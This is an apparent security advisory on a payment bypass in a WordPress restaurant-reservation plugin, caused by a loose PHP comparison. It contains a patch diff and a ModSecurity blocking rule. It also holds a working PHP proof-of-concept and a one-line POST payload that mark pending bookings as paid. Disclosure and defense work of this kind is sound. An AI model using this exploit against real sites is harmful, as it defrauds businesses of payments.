Atomic Edge analysis of CVE-2026-6498:
This vulnerability is an unauthenticated payment bypass affecting the Five Star Restaurant Reservations plugin for WordPress, version 2.7.16 and earlier. The flaw allows an attacker to mark a booking with a pending payment status as paid without completing any actual Stripe payment. The vulnerability is rated 5.3 CVSS and is due to a PHP type juggling weakness in the payment verification logic.
The root cause lies in the `valid_payment()` function within `/restaurant-reservations/includes/PaymentGatewayStripe.class.php`, around line 458 of the vulnerable code. This function performs a loose comparison (==) between the attacker-controlled `payment_id` POST parameter and the booking’s `stripe_payment_intent_id` property. The `sanitize_text_field()` function applied to `$_POST[‘payment_id’]` returns an empty string when the POST parameter is absent or empty. On the booking object, if no Stripe payment intent has been created yet (i.e., the JavaScript `create_stripe_pmtIntnt()` call has not been executed), `stripe_payment_intent_id` is null or an empty string. In PHP, the loose comparison `sanitize_text_field(”) == null` evaluates to `true`, bypassing the payment check.
An unauthenticated attacker can exploit this by sending a POST request to the WordPress AJAX handler `admin-ajax.php` with the action `rtb_stripe_pmt_succeed`. The required parameters include a valid booking ID (e.g., `booking_id`) and an empty or omitted `payment_id` parameter. The attacker must target a booking that already exists in the database with a status of ‘payment_pending’. No authentication or nonce is required because the AJAX handler is registered for the `nopriv` (unauthenticated) action. The attack payload is simply `action=rtb_stripe_pmt_succeed&booking_id=[existing-booking-id]&payment_id=`.
The patch changes the return statement in `valid_payment()` on line 458 of the PaymentGatewayStripe.class.php file. The vulnerable code was:
`return sanitize_text_field( $_POST[‘payment_id’] ) == $booking->stripe_payment_intent_id;`
The patched code is:
`return ! empty( $booking->stripe_payment_intent_id ) && sanitize_text_field( $_POST[‘payment_id’] ) === $booking->stripe_payment_intent_id;`
The fix adds two defenses: first, a check that `$booking->stripe_payment_intent_id` is not empty, ensuring a payment intent must have been created; second, it replaces the loose comparison `==` with a strict comparison `===`, preventing any type juggling.
Successful exploitation allows an unauthenticated attacker to convert any existing booking with a ‘payment_pending’ status to a paid or confirmed state without paying. This directly leads to a loss of revenue for the business using the plugin. The attacker does not gain access to sensitive data or escalate privileges beyond marking bookings as paid. However, this undermines the entire payment system, enabling fraudulent reservations and potentially causing operational disruption.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/restaurant-reservations/includes/MailChimp.class.php
+++ b/restaurant-reservations/includes/MailChimp.class.php
@@ -18,6 +18,9 @@
public $merge_fields = array();
+ // mcrftbMailChimpRequest
+ public $mc;
+
public function __construct() {
global $rtb_controller;
--- a/restaurant-reservations/includes/MailChimpRequest.class.php
+++ b/restaurant-reservations/includes/MailChimpRequest.class.php
@@ -71,14 +71,30 @@
$url = $this->api_url . $endpoint;
- $args = array(
- 'headers' => array(
- 'Authorization' => 'MailChimpForRestaurantReservations ' . $this->api_key,
- ),
- );
+ if ( strpos( $endpoint, 'members' ) !== false ) {
- if ( !empty( $params ) ) {
- $args['body'] = $params;
+ $args = array(
+ 'headers' => array(
+ 'Authorization' => 'MailChimpForRestaurantReservations ' . $this->api_key,
+ 'Content-Type' => 'application/json',
+ ),
+ );
+
+ if ( !empty( $params ) ) {
+ $args['body'] = wp_json_encode( $params );
+ }
+ }
+ else {
+
+ $args = array(
+ 'headers' => array(
+ 'Authorization' => 'MailChimpForRestaurantReservations ' . $this->api_key,
+ ),
+ );
+
+ if ( !empty( $params ) ) {
+ $args['body'] = $params;
+ }
}
$args = apply_filters( 'mcfrtb_mailchimp_api_request_args', $args, $endpoint, $method, $params );
--- a/restaurant-reservations/includes/PaymentGatewayStripe.class.php
+++ b/restaurant-reservations/includes/PaymentGatewayStripe.class.php
@@ -455,7 +455,7 @@
*/
public function valid_payment( $booking ) {
- return sanitize_text_field( $_POST['payment_id'] ) == $booking->stripe_payment_intent_id;
+ return ! empty( $booking->stripe_payment_intent_id ) && sanitize_text_field( $_POST['payment_id'] ) === $booking->stripe_payment_intent_id;
}
/**
--- a/restaurant-reservations/restaurant-reservations.php
+++ b/restaurant-reservations/restaurant-reservations.php
@@ -3,7 +3,7 @@
* Plugin Name: Five Star Restaurant Reservations - WordPress Booking Plugin
* Plugin URI: http://www.fivestarplugins.com/plugins/five-star-restaurant-reservations/
* Description: Restaurant reservations made easy. Accept bookings online. Quickly confirm or reject reservations, send email notifications, set booking times and more.
- * Version: 2.7.16
+ * Version: 2.7.17
* Author: Five Star Plugins
* Author URI: https://www.fivestarplugins.com/
* Text Domain: restaurant-reservations
@@ -58,7 +58,7 @@
public function __construct() {
// Common strings
- define( 'RTB_VERSION', '2.7.16' );
+ define( 'RTB_VERSION', '2.7.17' );
define( 'RTB_PLUGIN_DIR', untrailingslashit( plugin_dir_path( __FILE__ ) ) );
define( 'RTB_PLUGIN_URL', untrailingslashit( plugins_url( basename( plugin_dir_path( __FILE__ ) ), basename( __FILE__ ) ) ) );
define( 'RTB_PLUGIN_FNAME', plugin_basename( __FILE__ ) );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6498
# Block unauthenticated AJAX requests that attempt to bypass Stripe payment verification
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261998,phase:2,deny,status:403,chain,msg:'CVE-2026-6498 payment bypass via empty payment_id',severity:'CRITICAL',tag:'CVE-2026-6498'"
SecRule ARGS_POST:action "@streq rtb_stripe_pmt_succeed" "chain"
SecRule ARGS_POST:payment_id "@rx ^$" "t:urlDecode"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6498 - Five Star Restaurant Reservations <= 2.7.16 - Unauthenticated Payment Bypass via PHP Type Juggling
// Configuration - Change these values
$target_url = 'http://example.com'; // Replace with target WordPress site URL
$booking_id = 1; // Replace with an existing booking ID that has status 'payment_pending'
// Endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Payload: send an empty payment_id to exploit the loose comparison
$post_data = array(
'action' => 'rtb_stripe_pmt_succeed',
'booking_id' => $booking_id,
'payment_id' => '' // Empty string - triggers PHP type juggling vulnerability
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body:n" . $response . "nn";
if ($http_code == 200 && strpos($response, 'success') !== false) {
echo "[SUCCESS] The payment bypass worked. Booking ID $booking_id has been marked as paid.n";
} else {
echo "[FAIL] The exploit did not succeed. The site may be patched or the booking ID is invalid.n";
}
?>
